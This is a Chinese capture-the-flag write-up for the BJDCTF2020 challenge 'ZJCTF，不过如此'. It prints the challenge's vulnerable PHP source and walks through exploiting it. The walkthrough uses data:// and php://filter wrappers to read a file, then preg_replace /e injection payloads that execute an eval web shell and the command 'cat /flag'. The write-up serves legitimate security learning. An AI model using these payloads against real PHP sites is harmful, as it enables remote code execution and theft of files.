[BJDCTF2020]ZJCTF，不过如此（preg_replace /e 模式下的代码漏洞问题）

题目给了源码：

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "
".file_get_contents($text,'r')."
";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

不难看出，用data://和php://伪协议即可绕过：

payload：?text=data://text/plain,I%20have%20a%20dream&file=php://filter/convert.base64-encode/resource=next.php

得到：

PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K

解码：

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);

一开始不知道 return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);是干什么用的，百度一搜:
http://www.xinyueseo.com/websecurity/158.html

答案就出来了，payload：

?\S*=${eval($_POST[shell])}

或者:
payload2:

?\S*=${getFlag()}&cmd=system(%27cat%20/flag%27);

都可得到flag。